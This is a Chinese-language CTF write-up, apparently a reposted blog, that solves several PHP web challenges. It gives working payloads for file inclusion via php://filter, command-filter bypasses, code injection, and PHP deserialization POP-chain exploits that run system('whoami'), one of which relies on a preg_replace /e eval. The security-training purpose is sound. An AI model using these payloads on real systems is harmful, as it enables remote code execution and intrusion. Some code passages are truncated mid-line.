文章目录 Web简单的web你玩过2048吗EasyPhp-v2blacksqlnmWriteItflagshopEZPHPbabypopeval 参考链接 WEB 简单的web PH
PHP代码审计
php highlight_file(__FILE__); error_reporting(0); echo "try to read source ?action="; $action = $_GET['action']; if (isset($action)) { if (preg_match("/base|data|input|zip|zlib/i", $action)) { echo ""; } else { include("$action"); } }?>
文件包含,但是过滤了很多关键字,常见的PHP伪协议无法使用。但是可以进行远程文件包含:
赛后看到还有一种解法,仍然可以通过PHP伪协议,通过ROT13编码包含Nginx日志文件找到flag路径,然后包含flag文件获得答案:
/?action=php://filter/read=string.rot13/resource=/var/log/nginx/access.log
玩过,合成数字就行了。
查看jscript代码,定位到关键逻辑:
当分数达到2048时,显示flag,直接运行Jscript代码即可:
confirm(Decode('l%C2%85%C2%94%C2%96%C2%97%C2%9A%C3%81%C3%A1%C3%87%C3%87%C3%8C%C2%9Fq%C2%9A%C3%83%C2%97id%C2%95%C2%94af%C2%97%C3%85%C2%98jgipj%C2%96%C3%89%C2%9Dne%C2%96%C2%97gh%C2%AF'));// DASCTF{faff98ba631d015bc552791ed950f162}
右键查看源码,看到PHP代码:
foreach ($_POST as $item => $value){ $$item=$$value; $secret = $$item;}foreach ($_GET as $key => $value){ if ($key=='flag'){ $str=$value; $$str=$secret; }}if (isset($hehe)){ echo "" .$hehe."";}//flag+flaag=DASCTF{XXXXXXX}?>
考察变量覆盖漏洞,使用POST方式传入value为flag
的键值对,使得flag
比变量即flag的前半段赋给secret
变量。再通过GET方式使得hehe
变量的值等于secret
,即flag
变量,打印输出即可。
# GET?flag=hehe# POSTa=flaga=fllag
主页啥也没有,view-source查看源代码,发现step.php页面。直接访问的话会快速跳转到black.php空白页面,这里如果查看源代码的话会发现还有一个EDG.php页面,访问之:
看到一个图片,查看源码,页面返回了图片文件的Base64编码:
关注到URL的参数如下:
/EDG.php?img=353736643331376136343537343637353531366433343364
发现该参数经过了两次Base64编码和两次十六进制编码,解码如下:
353736643331376136343537343637353531366433343364# 十六进制解码576d317a64574675516d343D# 十六进制解码Wm1zdWFuQm4=# Base64解码ZmsuanBn# Base64解码fk.jpg
将本页面EDG.php
进行如上编码,传入img参数:
/EDG.php?img=3535366335363533353334353738373535313664333936613531353433303339
返回页面查看源代码,将返回数据进行Base64解码,得到EDG.php
的源码:
<center><?phperror_reporting(0);header('content-type:text/html;charset=utf-8');include("flag.php");//flag in flag.php$cmd = $_GET['cmd'];if (!isset($_GET['img'])) echo ''; $file = base64_decode(base64_decode(hex2bin(hex2bin($_GET['img']))));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);if (preg_match("/flag/i", $file)) { echo 'ä½ æƒ³è¦flagï¼Ÿè¡Œï¼Œé‚£æˆ‘ç»™ä½ å§~'; echo '';} else { $txt = base64_encode(file_get_contents($file)); echo ""; echo "
";}if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|diff|file|echo|sh|'|\"|`|;|,|\\|xA0|{|}|[|]|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
";} else { system($cmd);}?>
进行代码审计,可以通过GET方式的cmd
参数进行命令执行,但是过滤了很多命令,使用反斜杠\
绕过即可:
EDG.php?img=123&cmd=who\ami
本题可以参考我之前写的一篇Writeup:
某单位2021年CTF初赛Web4-Sqlnm_2ha0yuk7on.的博客-CSDN博客
我当时是用SQL盲注直接解的,赛后发现其实本题应该后面还有一个Vim源码泄露,我也补充进之前这篇文章了,详情请移步观看。
主页啥也没有,查看robots.txt,发现oh_somesecret页面:
highlight_file(__FILE__);class OhYouFindIt{ public $content = "Hello Hacker.
"; function __destruct(){ echo $this->content; }}class writeshell{ public $filename; public $content; function __toString() { if(!in_array(pathinfo($this->filename, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { system('rm -rf ../upload
成功解析:
我们可以注意到,第一次请求与key的值没有关系,只需要value的值包含);
就行了;而第二次请求的值和value没有关系,因为已经被我们传入的key值注释掉了。
因此,Payload可以简化为一个,连发两笔即可:
?edit=1update=1&key=.system($_POST[cmd]));/*&val=);
成功执行命令,查找flag即可:
PHP反序列化代码审计:
<?php highlight_file(__FILE__);class Welcome{ public $name; public function __destruct() { echo "welcome".$this->name; }}class A{ public $name; public function __toString(){ return "Hello".$this->name; }}class Name{ public $class; public $name; public function __toString() { return $this->class->name; }}class B{ public $class; public function __get($name) { ($this->class)(); }}class C{ public $func; public $args; public function __invoke() { if(!is_array($this->args)){ die("args must be array!"); } call_user_func($this->func,$this->args); }}class Flag{ public $a; public $flag; public $c; public function getflag() { $this->flag = "echo('DASCTF{Th1s_1s_Fake_Flllag}');"; $this->a = $this->b; echo eval($this->flag); }}$o = $_GET['o'];if(isset($o)){ unserialize($_GET['o']);}?>
经过分析,入口类为Welcome
,通过析构函数开始进入函数调用,调用链为:
Welcom
-> A
-> Name
-> B
-> C
-> Flag
下面进行详细分析:
__toString
函数;__toString
函数;__get
函数;__invoke
函数;call_user_func
函数的第二个参数必须为数组,因此无法直接使用常规RCE进行命令执行。可以再次调用call_user_func
,采用对象的回调方式,数组的第一个元素传入一个Flag对象,第二个元素传入getflag字符串,调用Flag的getflag
函数。getflag
函数中给flag字段重新赋值了,我们无法直接通过传入参数控制flag的值。但可以利用引用的特性间接给flag赋值,从而实现RCE。EXP如下:
class Welcome{ public $name;}class A{ public $name;}class Name{ public $class; public $name;}class B{ public $class;}class C{ public $func; public $args;}class Flag{ public $a; public $flag; public $c;}$flag = new Flag();$flag->a = &$flag->flag;$flag->b = "system('whoami');";$c = new C();$c->func = "call_user_func";$c->args = array($flag,"getflag");$b = new B();$b->class = $c;$name = new Name();$name->name = "";$name->class = $b;$a = new A();$a->name = $name;$wel = new Welcome();$wel->name = $a;echo serialize($wel);// O:7:"Welcome":1:{s:4:"name";O:1:"A":1:{s:4:"name";O:4:"Name":2:{s:5:"class";O:1:"B":1:{s:5:"class";O:1:"C":2:{s:4:"func";s:14:"call_user_func";s:4:"args";a:2:{i:0;O:4:"Flag":4:{s:1:"a";N;s:4:"flag";R:9;s:1:"c";N;s:1:"b";s:17:"system('whoami');";}i:1;s:7:"getflag";}}}s:4:"name";s:0:"";}}}?>
执行命令:
PHP反序列化代码审计:
class wake{ public $das; public $ctf; public function __construct() { echo "Welcome DASCTF!"; } public function __wakeup() { $this->das->login(); }}class cat_flag{ public $das; public $ctf; public function login() { echo "Login Success!"; }}class get_flag{ public $das; public $ctf; public function login() { $this->tmp2->get_flag(); }}class hackme{ public $das; public $ctf; public function __toString() { $this->das->hack(); return "really flag"; }}class first_flag{ public $das="Hello World!"; public $ctf; public function __call($a,$b) { echo $this->ctf.$this->das; }}class firststep{ public $das; public $ctf; public function hack() { if (isset($_POST["DAS"])){ if (preg_match('/system|exec|phpinfo|\"|\'/i',$_POST["DAS"])){ die("Hacker!!!!"); } if (strlen($_POST["DAS"])<=17){ $code = preg_replace("/[a-zA-Z0-9]/e",$_POST['DAS'],$_POST['CTF']); }else{ die("Too long!!!"); } } }}if(isset($_GET['DASCTF'])){ unserialize($_GET['DASCTF']);}else{ highlight_file(__FILE__);} ?>
经过分析,入口类为wake
,通过__wakeup
函数开始进入函数调用,调用链为:
wake
-> get_flag
-> first_flag
-> hackme
-> first_step
下面进行详细分析:
__wake
函数开始执行,函数内调用das参数的login
函数,通过POP链构造进入get_flag
的同名函数;get_flag
函数,可以从此处进入first_flag的__call
函数;__toString
函数;hack
函数,可以进入first_step
的同名函数;preg_replace
函数进行命令执行即可。题目中过滤了命令执行函数的关键字,使用传参绕过即可。preg_replace
函数用来执行一个正则表达式的搜索和替换:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject
中匹配pattern
的部分, 以replacement
进行替换。
参数说明:
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。$replacement: 用于替换的字符串或字符串数组。$subject: 要搜索替换的目标字符串或字符串数组。$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。$count: 可选,为替换执行的次数。
当规则表达式的修饰符使用/e
修饰符时,则存在代码执行漏洞,例如:
preg_replace("/hello/e",$_POST["cmd"],"hello world");
综上,EXP如下:
class wake{ public $das; public $ctf; } class cat_flag { public $das; public $ctf; } class get_flag { public $das; public $ctf; } class hackme { public $das; public $ctf; } class first_flag { public $das; public $ctf; } class firststep { public $das; public $ctf; } $firststep = new firststep(); $hackme = new hackme(); $hackme->das = $firststep; $firstflag = new first_flag(); $firstflag->ctf = $hackme; $getflag = new get_flag(); $getflag->tmp2 = $firstflag; $wake = new wake(); $wake->das = $getflag; echo serialize($wake); // O:4:"wake":2:{s:3:"das";O:8:"get_flag":3:{s:3:"das";N;s:3:"ctf";N;s:4:"tmp2";O:10:"first_flag":2:{s:3:"das";N;s:3:"ctf";O:6:"hackme":2:{s:3:"das";O:9:"firststep":2:{s:3:"das";N;s:3:"ctf";N;}s:3:"ctf";N;}}}s:3:"ctf";N;}?>
Bypass过滤:
DAS=eval($_POST[a])&CTF=123&a=system("whoami");
成功执行命令:
EasyCms的后台RCE漏洞:某Easy 漏洞挖掘 - 先知社区
Sqlnm题解:某单位2021年CTF初赛Web4-Sqlnm_2ha0yuk7on.的博客-CSDN博客
来源地址:https://blog.csdn.net/sorryagain/article/details/128075602
--结束END--
本文标题: 某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on
本文链接: https://lsjlt.com/news/403342.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0